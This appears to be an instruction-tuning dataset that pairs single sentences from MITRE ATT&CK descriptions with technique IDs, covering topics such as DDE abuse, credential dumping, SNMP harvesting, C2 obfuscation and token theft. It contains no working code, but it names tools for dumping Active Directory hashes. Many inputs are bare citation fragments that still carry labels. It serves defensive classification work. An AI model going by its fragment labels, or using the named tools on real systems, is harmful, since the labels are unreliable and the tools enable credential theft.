Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Promethium June 2020)", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Promethium June 2020) ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing capabilities.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing capabilities. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017)", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft DDE Advisory Nov 2017)", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft DDE Advisory Nov 2017) ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use DDE to execute arbitrary commands.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use DDE to execute arbitrary commands. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016)", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", "output": "T1173", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution. ### Response: T1173."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory) ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015) ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect data related to managed devices from configuration repositories.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect data related to managed devices from configuration repositories. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration repositories may also facilitate remote access and administration of devices.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration repositories may also facilitate remote access and administration of devices. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target these repositories in order to collect large quantities of sensitive system administration data.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017) ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID).", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables.", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation:", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SANS Information Security Reading Room", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SANS Information Security Reading Room ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Securing SNMP Securing SNMP).", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Securing SNMP Securing SNMP). ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MIB may also contain device operational information, including running configuration, routing table, and interface details.", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MIB may also contain device operational information, including running configuration, routing table, and interface details. ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate command and control traffic to make it more difficult to detect. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Steganographic techniques can be used to hide data in digital messages that are transferred between systems.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Steganographic techniques can be used to hide data in digital messages that are transferred between systems. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This hidden information can be used for command and control of compromised systems.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This hidden information can be used for command and control of compromised systems. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.", "output": "T1001.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ### Response: T1001.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon specific actions by a user in order to gain execution.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon specific actions by a user in order to gain execution. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon a user clicking a malicious link in order to gain execution.", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon a user clicking a malicious link in order to gain execution. ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to click on a link that will lead to code execution.", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to click on a link that will lead to code execution. ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", "output": "T1204.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002). ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These tokens are typically stolen from users or services and used in lieu of login credentials.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These tokens are typically stolen from users or services and used in lieu of login credentials. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OAuth is one commonly implemented framework that issues tokens to users for access to systems.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OAuth is one commonly implemented framework that issues tokens to users for access to systems. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) ### Response: 